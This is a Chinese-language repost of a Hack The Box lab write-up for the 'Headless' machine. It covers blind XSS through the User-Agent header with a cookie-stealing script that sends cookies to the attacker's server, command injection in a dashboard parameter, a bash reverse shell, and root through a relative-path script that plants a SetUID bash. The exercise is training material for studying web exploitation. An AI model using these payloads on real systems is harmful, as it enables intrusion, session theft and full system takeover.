Headless 是一款简单易用的 Linux 机器,具有托管网站的“Python Werkzeug”服务器。该网站有一个客户支持表单,通过“User-Agent”标头发现该表单容易受到盲跨站点脚本 (XSS) 攻击。此漏洞可用于窃取管理员 cookie,然后用于访问管理员仪表板。该页面容易受到命令注入攻击,从而导致机器出现反向 shell。枚举用户的邮件会显示一个不使用绝对路径的脚本,该脚本可用于以 root 身份获取 shell。
侦察-nmap
nmap发现两个开放的 TCP 端口,SSH(22)和 HTTP(5000):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.8
Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-11 13:26 EDT
Nmap scan report for 10.10.11.8
Host is up (0.085s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 6.89 seconds
oxdf@hacky$ nmap -p 22,5000 -sCV 10.10.11.8
Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-11 13:28 EDT
Nmap scan report for 10.10.11.8
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Thu, 11 Jul 2024 17:28:41 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=7/11%Time=66901648%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,BE1,"HTTP/1.1x20200x20OKrnServer:x20Werkzeug/2.2.2x20
SF:Python/3.11.2rnDate:x20Thu,x2011x20Julx202024x2017:28:41x20GM
SF:TrnContent-Type:x20text/html;x20charset=utf-8rnContent-Length:x2
SF:02799rnSet-Cookie:x20is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs;
SF:x20Path=/rnConnection:x20closernrn<!DOCTYPEx20html>n<htmlx20
SF:lang="en">n<head>nx20x20x20x20<metax20charset="UTF-8">nx20
SF:x20x20x20<metax20name="viewport"x20content="width=device-width,
SF:x20initial-scale=1.0">nx20x20x20x20<title>Underx20Construction
SF:</title>nx20x20x20x20<style>nx20x20x20x20x20x20x20x20body
SF:x20{nx20x20x20x20x20x20x20x20x20x20x20x20font-family:x20
SF:'Arial',x20sans-serif;nx20x20x20x20x20x20x20x20x20x20x20x
SF:20background-color:x20#f7f7f7;nx20x20x20x20x20x20x20x20x20x
SF:20x20x20margin:x200;nx20x20x20x20x20x20x20x20x20x20x20x
SF:20padding:x200;nx20x20x20x20x20x20x20x20x20x20x20x20displ
SF:ay:x20flex;nx20x20x20x20x20x20x20x20x20x20x20x20justify-c
SF:ontent:x20center;nx20x20x20x20x20x20x20x20x20x20x20x20ali
SF:gn-items:x20center;nx20x20x20x20x20x20x20x20x20x20x20x20h
SF:eight:x20100vh;nx20x20x20x20x20x20x20x20}nnx20x20x20x20
SF:x20x20x20x20.containerx20{nx20x20x20x20x20x20x20x20x20
SF:x20x20x20text-align:x20center;nx20x20x20x20x20x20x20x20x20
SF:x20x20x20background-color:x20#fff;nx20x20x20x20x20x20x20x2
SF:0x20x20x20x20border-radius:x2010px;nx20x20x20x20x20x20x20
SF:x20x20x20x20x20box-shadow:x200pxx200pxx2020pxx20rgba(0,x200,
SF:x200,x200.2);nx20x20x20x20x20")%r(RTSPRequest,16C,"<!DOCTYPEx
SF:20HTML>n<htmlx20lang="en">nx20x20x20x20<head>nx20x20x20x2
SF:0x20x20x20x20<metax20charset="utf-8">nx20x20x20x20x20x20
SF:x20x20<title>Errorx20response</title>nx20x20x20x20</head>nx20
SF:x20x20x20<body>nx20x20x20x20x20x20x20x20<h1>Errorx20respons
SF:e</h1>nx20x20x20x20x20x20x20x20<p>Errorx20code:x20400</p>n
SF:x20x20x20x20x20x20x20x20<p>Message:x20Badx20requestx20version
SF:x20('RTSP/1.0').</p>nx20x20x20x20x20x20x20x20<p>Errorx20
SF:codex20explanation:x20400x20-x20Badx20requestx20syntaxx20orx20u
SF:nsupportedx20method.</p>nx20x20x20x20</body>n</html>n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.87 seconds
根据OpenSSH版本,主机很可能运行的是 Debian 12 bookworm。
5000 上的网络服务器正在运行 Python / Werkzeug。
网站 - TCP 80
站点:该网站已关闭:
该链接指向/support一个提供联系表格的页面:
单击提交不会显示任何反馈。我将查看 Burp(我的所有 HTB 流量都通过代理发送),并看到 POST 请求已发送,响应为 200 OK:
如果我尝试通过在消息中的标签之间添加一些内容来进行 HTML 注入<b>,例如“<b>Hello?</b>”,我会收到一条错误消息:
内容没有显示,但是所有 HTTP 请求标头似乎都显示出来。
技术堆栈
HTTP 响应标头显示它是一个 Werkzeug / Python 服务器:
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.11.2
Date: Thu, 11 Jul 2024 17:34:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2799
Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
Connection: close
我会注意到它设置了is_admincookie。我可以用这个 cookie 查看更多信息,但这对于解决 Headless 问题并不重要,所以我会做一些事情,比如解码 cookie、修改 cookie,并查看Beyond Root中处理它的源代码。
404 页面与默认 Flask 404 页面相匹配:
此时我可以说该网站很可能正在 Python Flask 上运行。
目录暴力破解
我将运行feroxbuster该网站来检查是否有任何其他页面/端点:
oxdf@hacky$ feroxbuster -u http://10.10.11.8:5000
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / _/ | | |__
| |___ | | | __, __/ / | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.8:5000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 96l 259w 2799c http://10.10.11.8:5000/
200 GET 93l 179w 2363c http://10.10.11.8:5000/support
500 GET 5l 37w 265c http://10.10.11.8:5000/dashboard
[####################] - 2m 30000/30000 0s found:3 errors:0
[####################] - 2m 30000/30000 291/s http://10.10.11.8:5000/
我已经探索过/support./dashboard返回 500(这是内部服务器错误)。访问它会显示一个未经授权的页面(有趣的是,是 HTTP 401,而不是 500,我将在Beyond Root中解释这一点):
Shell 作为 dvir
评估过滤器-单角色模糊
我将尝试使用以下选项检查可能导致提交问题的任何单个字符ffuf:
-u http://10.10.11.8:5000/support- 需要模糊测试的 URL
-d 'fname=0xdf&lname=0xdf&email=0xdf@headless.htb&phone=9999999999&message=FUZZ'- 要发送的数据,FUZZed 项目是消息
-w /opt/SecLists/Fuzzing/alphanum-case-extra.txt- 每行包含一组单个字符的单词表
-H 'Content-Type: application/x-www-form-urlencoded'- 需要包含此项,否则服务器将返回 500
-mr 'Your IP address has been flagged' - 仅显示包含该行的结果。
没有什么可以触发它:
oxdf@hacky$ ffuf -u http://10.10.11.8:5000/support -d 'fname=0xdf&lname=0xdf&[email protected]&phone=9999999999&message=FUZZ' -w /opt/SecLists/Fuzzing/alphanum-case-extra.txt -H 'Content-Type: application/x-www-form-urlencoded' -mr 'Your IP address has been flagged'
/'___ /'___ /'___
/ __/ / __/ __ __ / __/
,__\ ,__/ / ,__
_/ _/ _ _/
_ _ ____/ _
/_/ /_/ /___/ /_/
v2.0.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.10.11.8:5000/support
:: Wordlist : FUZZ: /opt/SecLists/Fuzzing/alphanum-case-extra.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : fname=0xdf&lname=0xdf&[email protected]&phone=9999999999&message=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: Your IP address has been flagged
________________________________________________
:: Progress: [95/95] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
Repeater
我将把触发阻止的请求转移到 Burp Repeater:
我将对其进行 URL 解码message,但它仍然触发:
这并没有教会我任何新东西,但却使它更容易玩。
一个好方法是一次删除一个字符,直到不再触发问题。在本例中,删除第一个字符后>,它就不会再触发警报:
>单独使用不会触发它。我猜它正在寻找 HTML 标签,因此需要<和>:
它还会在 SSTI 尝试({{和}})时触发:
访问仪表板 POC
让 XSS 或 SSTI 越过这一障碍会很困难。但它确实表明,它不仅被检测到,而且还被送去进行高优先级审查。如果送去审查的数据看起来像显示的内容,我可以在其中进行 XSS 吗?
我添加的任何标题都包括在内:
如果我<script>向该标题(或任何标题)添加标签,它似乎会处理:
“在浏览器中显示响应”选项在这里很有用:
这就是XSS:
窃取cookie
最简单的 XSS 有效载荷就是窃取查看报告的人的 cookie。我将添加一个简单的 cookie 窃取程序:
<script>var i=new Image(); i.src="http://10.10.14.6/?c="+document.cookie;</script>
这将向<img>页面添加一个新标签,其中包含我服务器上包含用户 cookie 的源 URL。要使此功能正常工作,必须不将 cookie 配置为HttpOnly,Firefox dev tools 显示为 False:
我将使用 启动 Python 网络服务器python -m http.server 80。我已提供python二进制文件cap_net_bind_service,因此它可以在无需 root 权限的情况下监听低端口。我需要在没有 rootsudo权限的情况下运行。另外,我的python是 Python3。
oxdf@hacky$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
现在我将在中继器中发送有效载荷:
通过 Render 中的 Response,它实际上会触发并访问我的网络服务器:
10.10.14.6 - - [11/Jul/2024 14:56:48] "GET /?c= HTTP/1.1" 200 -
它没有 cookie,所以是空白的。不到一分钟后,Headless 又发出了更多连接:
10.10.11.8 - - [11/Jul/2024 14:57:30] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
10.10.11.8 - - [11/Jul/2024 14:57:33] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
10.10.11.8 - - [11/Jul/2024 14:57:35] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
访问仪表板
我将进入 Firefox 开发工具的“存储”选项卡,并用以下值替换我的 cookie:
现在访问/dashboard,会加载一个不同的页面:
命令注入 RCE
仪表板枚举 - 单击“生成报告”将显示以下形式的消息:
点击时发送的HTTP请求是:
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://10.10.11.8:5000
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
date=2023-09-15
命令注入 POC
在浏览器中,我无法将字段更改为除日期之外的任何内容。但在 Burp 中,我可以处理请求。我会将该请求发送到 Repeater。
如果我考虑一下服务器正在做什么,它可能会获取日期并查找有关该日期报告发生的情况的信息。如果它可以用 Python 做到这一点,那就太好了。但如果它需要运行一些系统命令,它可能会获取我的输入并从中构建命令,然后使用该字符串调用类似或的东西subprocess.run。os.system为了检查这一点,我将尝试; id在日期末尾添加:
成功了!命令的输出id显示在响应中。
通过 SSH 进行 Shell
我可以快速检查 dvir 用户主目录中的私有 SSH 密钥,但那里没有:
oxdf@hacky$ ssh-keygen -t ed25519 -f key
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in key
Your public key has been saved in key.pub
The key fingerprint is:
SHA256:PGAmS1HqWDvKz/OqV+BSn2LNxs6qlCfQRs9mXOJHVPQ oxdf@hacky
The key's randomart image is:
+--[ED25519 256]--+
| ..ooo |
| + . |
| . * * E |
| o XoX o |
|. +o%*..S |
| +.=+oO . |
| *o.* |
| . =o o |
| o+==. |
+----[SHA256]-----+
oxdf@hacky$ ls key*
key key.pub
我需要将key.pub内容放入文件中authorized_keys:
现在我将使用 SSH 连接:
oxdf@hacky$ ssh -i key [email protected]
Linux headless 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
...[snip]...
Last login: Thu Jul 11 21:15:45 2024 from 10.10.14.6
dvir@headless:~$
我可以读到user.txt:
dvir@headless:~$ cat user.txt
c857e232************************
通过反向 Shell 实现 Shell
我将使用一个简单的 Bash 反向 shell(我在本视频中详细介绍了):
我已手动&对字符进行编码%26,以便它们不会与新 POST 参数的开头混淆。我将开始nc监听端口 443,然后发送此信息。它挂起了。在nc:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.8 39124
bash: cannot set terminal process group (1347): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$
我将进行标准 shell 升级:
dvir@headless:~/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
dvir@headless:~/app$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
dvir@headless:~/app$
并抓住user.txt:
dvir@headless:~$ cat user.txt
c857e232************************
以 root 身份运行 Shell
枚举 用户/主目录
dvir 的主目录中没有太多值得关注的内容:
dvir@headless:~$ ls -la
total 48
drwx------ 8 dvir dvir 4096 Feb 16 23:49 .
drwxr-xr-x 3 root root 4096 Sep 9 2023 ..
drwxr-xr-x 3 dvir dvir 4096 Jul 11 21:22 app
lrwxrwxrwx 1 dvir dvir 9 Feb 2 16:05 .bash_history -> /dev/null
-rw-r--r-- 1 dvir dvir 220 Sep 9 2023 .bash_logout
-rw-r--r-- 1 dvir dvir 3393 Sep 10 2023 .bashrc
drwx------ 12 dvir dvir 4096 Sep 10 2023 .cache
lrwxrwxrwx 1 dvir dvir 9 Feb 2 16:05 geckodriver.log -> /dev/null
drwx------ 3 dvir dvir 4096 Feb 16 23:49 .gnupg
drwx------ 4 dvir dvir 4096 Feb 16 23:49 .local
drwx------ 3 dvir dvir 4096 Sep 10 2023 .mozilla
-rw-r--r-- 1 dvir dvir 807 Sep 9 2023 .profile
lrwxrwxrwx 1 dvir dvir 9 Feb 2 16:06 .python_history -> /dev/null
drwx------ 2 dvir dvir 4096 Jul 11 22:39 .ssh
-rw-r----- 1 root dvir 33 Sep 10 2023 user.txt
如果文件夹中有配置文件,那么它.mozilla可能会很有趣,但是文件夹中没有:
dvir@headless:~$ find .mozilla/
.mozilla/
.mozilla/firefox
.mozilla/firefox/Crash Reports
.mozilla/firefox/Crash Reports/InstallTime20240212204114
.mozilla/firefox/Crash Reports/events
.mozilla/firefox/Crash Reports/InstallTime20240115170312
.mozilla/firefox/Crash Reports/InstallTime20230822151617
.mozilla/firefox/Pending Pings
没有其他用户的主目录/home或 shell :
dvir@headless:/home$ ls
dvir
dvir@headless:/home$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
dvir:x:1000:1000:dvir,,,:/home/dvir:/bin/bash
sudo
sudo -l显示该用户可以以其他用户身份运行的内容:
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
dvir 用户可以syscheck以任何用户身份运行,无需密码。
syscheck
元数据 - syscheck是一个 Bash 脚本:
dvir@headless:~$ file /usr/bin/syscheck
/usr/bin/syscheck: Bourne-Again shell script, ASCII text executable
我很好奇,想知道它是真实文件还是为 Headless 创建的文件。搜索“syscheck”会返回很多内容,但显然没有匹配的内容。我将获取该文件的哈希值:
dvir@headless:~$ md5sum /usr/bin/syscheck
bc05df1a6d7529c5bdad5d9ab4e59af0 /usr/bin/syscheck
我将其输入到 VirusTotal 的搜索栏中,它会返回:
如果这是现实世界中的实用工具,那么现在它肯定已经进入 VT 了。这表明它是 Headless 的定制产品。
运行
就像/usr/bin在我的 中一样$PATH,我可以直接运行它。作为普通用户,它什么也不做。但作为 root,它有输出:
dvir@headless:~$ syscheck
dvir@headless:~$ sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.8G
System load average: 0.00, 0.01, 0.00
Database service is not running. Starting it...
来源
脚本不是很长:
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
首先检查运行用户是否为 root,如果不是则退出:
if [ "$EUID" -ne 0 ]; then
exit 1
fi
vmlinuz它获取文件的最后修改时间/boot并打印出来:
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
它解析df -h并打印以下内容:
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
它获取部分输出uptime并打印以下内容:
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
然后它使用pgrep来查找initdb.sh其中的进程列表中的任何内容。如果它没有找到任何东西,它会打印并运行./initdb.sh。否则它只会打印:
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
然后它退出:
exit 0
初始化数据库文件
这实际上并不重要,但我可以在磁盘中搜索名为的文件initdb.sh:
dvir@headless:~$ find / -name 'initdb.sh' 2>/dev/null
什么也没找到。它可能存在于 dvir 无法访问的目录中。
但同样,这没关系。它被称为./initdb.sh,这意味着它将在调用者所在的任何目录中查找该文件。
Exploit
我将编写一个简单的 Bash 脚本,它将复制bash到/tmp/0xdf,将该文件的所有者设置为 root,然后将其设置为 SetUID/SetGID(这意味着它将以所有者的身份运行,而不是以运行它的用户的身份运行)。这实际上给了我一个bash以 root 身份运行的副本:
dvir@headless:/dev/shm$ echo -e '#!/bin/bashnncp /bin/bash /tmp/0xdfnchown root:root /tmp/0xdfnchmod 6777 /tmp/0xdf' | tee initdb.sh
#!/bin/bash
cp /bin/bash /tmp/0xdf
chown root:root /tmp/0xdf
chmod 6777 /tmp/0xdf
dvir@headless:/dev/shm$ chmod +x initdb.sh
使脚本可执行也很重要。我会跑sudo syscheck:
dvir@headless:/dev/shm$ sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.8G
System load average: 0.04, 0.05, 0.01
Database service is not running. Starting it...
現在/tmp/0xdf存在:
dvir@headless:/dev/shm$ ls -l /tmp/0xdf
-rwsrwsrwx 1 root root 1265648 Jul 11 23:16 /tmp/0xdf
我将用它运行它-p(bash如果没有它将会放弃权限)并获取 root shell:
dvir@headless:/dev/shm$ /tmp/0xdf -p
0xdf-5.2#
我将清理二进制文件并获取根标志:
0xdf-5.2# rm /tmp/0xdf
0xdf-5.2# cat /root/root.txt
2694e156************************
超越 ROOT
Cookie 探索 - 解码
该is_adminCookie 由两个 base64 编码的字符串组成,.中间有一个:
is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
我最好的猜测是,第一个是数据,第二个是签名。
oxdf@hacky$ echo "InVzZXIi" | base64 -d
"user"
第二个字符串是 URL 安全的 base64 编码(该_字符不是标准 base64 字母表的一部分)。它在Cyberchef中很容易解码,尽管是随机垃圾(作为签名是有意义的):
我偷来的cookie是类似的:
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
解码第一位将返回错误:
oxdf@hacky$ echo "ImFkbWluIg" | base64 -d
"admin"base64: invalid input
Base64 编码的数据应该用零个、一个或两个“=”填充,具体取决于编码数据的长度。在 Cookie 等地方,通常会删除填充(不会丢失任何数据)。我可以尝试使用一个和两个“=”,结果两个“=”可以正常工作:
oxdf@hacky$ echo "ImFkbWluIg=" | base64 -d
"admin"base64: invalid input
oxdf@hacky$ echo "ImFkbWluIg==" | base64 -d
"admin"
与用户数据一样,第二组数据解码为 URL 安全的 base64,但没有什么有趣的内容:
修改
我可以尝试修改 cookie 的部分内容。如果我从未修改的用户 cookie 开始,则会收到 401 UNAUTHORIZED 错误/dashbard:
如果我从 cookie 末尾删除一个字符,它就会崩溃:
如果我将其恢复为正常,并用编码的“admin”字符串替换第一部分,它仍然会崩溃:
它似乎正在进行某种验证,如果验证失败,则会抛出未处理的异常。
来源
该应用程序的来源位于/home/dvir/app/:
dvir@headless:~/app$ ls
app.py dashboard.html hackattempt.html hacking_reports index.html inspect_reports.py report.sh support.html
app.py为应用程序完成大部分工作。在 Flask 中,每个路由都是一个带有@app.route装饰器的 Python 函数。例如,Web 根目录/:
@app.route('/')
def index():
client_ip = request.remote_addr
is_admin = True if client_ip in ['127.0.0.1', '::1'] else False
token = "admin" if is_admin else "user"
serialized_value = serializer.dumps(token)
response = make_response(render_template('index.html', is_admin=token))
response.set_cookie('is_admin', serialized_value, httponly=False)
return response
@app.route('/dashboard', methods=['GET', 'POST'])
def admin():
if serializer.loads(request.cookies.get('is_admin')) == "user":
return abort(401)
script_output = ""
if request.method == 'POST':
date = request.form.get('date')
if date:
script_output = os.popen(f'bash report.sh {date}').read()
return render_template('dashboard.html', script_output=script_output)
它获取 cookie 并使用serializer.loads方法对其进行解码。serializer定义在文件顶部:
app.secret_key = b'PcBE2u6tBomJmDMwUbRzO18I07A'
serializer = URLSafeSerializer(app.secret_key)
URLSafeSerlializer在第二行导入:
from itsdangerous import URLSafeSerializer
此对象使用密钥将一些数据编码为字符串(使用 base64),并根据密钥附加签名。这样,Web 应用程序就可以将信息传递给用户,然后从用户那里取回该信息,并且知道该信息没有被修改(假设用户无权访问密钥)。
我可以在 Python repl 中通过创建serializer具有相同键的值来模拟这一点:
oxdf@hacky$ python
Python 3.11.9 (main, Apr 6 2024, 17:59:24) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from itsdangerous import URLSafeSerializer
>>> secret_key = b'PcBE2u6tBomJmDMwUbRzO18I07A'
>>> serializer = URLSafeSerializer(secret_key)
如果我给它默认获取的 cookie,它会返回“用户”:
>>> serializer.loads('InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs')
'user'
如果我通过编辑签名(删除最后一个字符)或编辑数据来破坏签名,则会引发异常:
>>> serializer.loads('InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zf')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/local/lib/python3.11/dist-packages/itsdangerous/serializer.py", line 236, in loads
raise _t.cast(BadSignature, last_exception)
File "/usr/local/lib/python3.11/dist-packages/itsdangerous/serializer.py", line 232, in loads
return self.load_payload(signer.unsign(s))
^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/dist-packages/itsdangerous/signer.py", line 247, in unsign
raise BadSignature(f"Signature {sig!r} does not match", payload=value)
itsdangerous.exc.BadSignature: Signature b'uAlmXlTvm8vyihjNaPDWnvB_Zf' does not match
>>> serializer.loads('ImFkbWluIg.uAlmXlTvm8vyihjNaPDWnvB_Zfs')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/local/lib/python3.11/dist-packages/itsdangerous/serializer.py", line 236, in loads
raise _t.cast(BadSignature, last_exception)
File "/usr/local/lib/python3.11/dist-packages/itsdangerous/serializer.py", line 232, in loads
return self.load_payload(signer.unsign(s))
^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/dist-packages/itsdangerous/signer.py", line 247, in unsign
raise BadSignature(f"Signature {sig!r} does not match", payload=value)
itsdangerous.exc.BadSignature: Signature b'uAlmXlTvm8vyihjNaPDWnvB_Zfs' does not match
由于代码没有尝试处理这些错误,所以这解释了当我弄乱 cookie 时出现 500 错误的原因。
仪表板错误代码
当我暴力破解网络服务器上的目录时,我注意到feroxbuster报告了/dashboard500 错误。我记得当时很恼火,因为错误代码是 500 而不是 401,尤其是在看到返回的页面没有管理员权限之后:
我记得当时我曾这样想过:“这确实应该是 401 响应,而不是 500”。但在 Burp 中查看,它实际上是401:
发生了什么事?那 呢curl?它是 500:
oxdf@hacky$ curl http://10.10.11.8:5000/dashboard -v
* Trying 10.10.11.8:5000...
* Connected to 10.10.11.8 (10.10.11.8) port 5000 (#0)
> GET /dashboard HTTP/1.1
> Host: 10.10.11.8:5000
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 INTERNAL SERVER ERROR
< Server: Werkzeug/2.2.2 Python/3.11.2
< Date: Fri, 12 Jul 2024 11:38:11 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 265
< Connection: close
<
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
* Closing connection 0
此处的区别在于,我的浏览器有一个 cookie,表明用户不是管理员,而feroxbuster和curl根本没有 cookie。我已经注意到,当我编辑 cookie 时,签名无效时会发生什么。当 cookie 不存在时,也会发生同样的问题。该网站的编码很差,以至于它只是假设 cookie 存在,而当 cookie 不存在时,网站就会崩溃。路线的第一行/dashboard是:
if serializer.loads(request.cookies.get('is_admin')) == "user":
return abort(401)
它调用request.cookies.get('is_admin'),返回None。request.cookies只是一本字典,所以我可以模拟这个:
cookies = {}
"is_admin") cookies.get(
"is_admin") is None cookies.get(
True
调用serializer.loads(None)将会崩溃:
> from itsdangerous import URLSafeSerializer
'PcBE2u6tBomJmDMwUbRzO18I07A' > secret_key = b
> serializer = URLSafeSerializer(secret_key)
> serializer.loads(None)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/local/lib/python3.11/dist-packages/itsdangerous/serializer.py", line 232, in loads
return self.load_payload(signer.unsign(s))
^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/dist-packages/itsdangerous/signer.py", line 239, in unsign
if self.sep not in signed_value:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: argument of type 'NoneType' is not iterable
因此,如果有一个用户 cookie,则为 401,但如果没有 cookie,则为 500。
原文始发于微信公众号(Ots安全):HTB: Headless (XSS) 攻击到反弹Shell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论